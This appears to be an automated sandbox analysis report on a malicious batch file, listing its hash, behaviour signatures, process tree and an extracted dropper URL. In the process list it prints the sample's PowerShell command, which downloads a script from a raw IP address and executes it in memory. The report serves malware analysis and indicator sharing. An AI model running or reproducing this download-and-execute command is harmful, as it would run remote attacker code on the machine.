Analysis
-
max time kernel
99s -
resource
win10v191014 -
submitted
01-01-2020 14:10
Task
task1
Sample
ZrxYpNuy.bat
Resource
win7v191014
0 signatures
Task
task2
Sample
ZrxYpNuy.bat
Resource
win10v191014
0 signatures
General
-
Target
ZrxYpNuy.bat
-
Sample
200101-gdmshj7yc6
-
SHA256
cc4308d9ba991039ebc6e0e8fbd42c941d669e4e71248290766da05390f18cff
Score
10/10
Malware Config
Extracted
Language
ps1
Source
URLs
ps1.dropper
http://185.103.242.78/pastes/ZrxYpNuy
Signatures
-
Program crash 1 IoCs
Processes:
WerFault.exepid process 3044 WerFault.exe -
Suspicious use of AdjustPrivilegeToken 3 IoCs
Processes:
WerFault.exedescription pid process Token: SeRestorePrivilege 3044 WerFault.exe Token: SeBackupPrivilege 3044 WerFault.exe Token: SeDebugPrivilege 3044 WerFault.exe -
Suspicious behavior: EnumeratesProcesses 1 IoCs
Processes:
WerFault.exepid process 3044 WerFault.exe -
Checks processor information in registry 2 TTPs 3 IoCs
Processor information is often read in order to detect sandboxing environments.
Processes:
description ioc Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString -
Enumerates system info in registry 2 TTPs 2 IoCs
Processes:
description ioc Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS
Processes
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\ZrxYpNuy.bat"1⤵PID:5032
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C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeC:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "IEX (New-Object System.Net.WebClient).DownloadString('http://185.103.242.78/pastes/ZrxYpNuy');Invoke-OIRATFOLWFEAVV;Start-Sleep -s 10000"2⤵PID:5076
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C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 5076 -s 7043⤵
- Program crash
- Suspicious use of AdjustPrivilegeToken
- Suspicious behavior: EnumeratesProcesses
PID:3044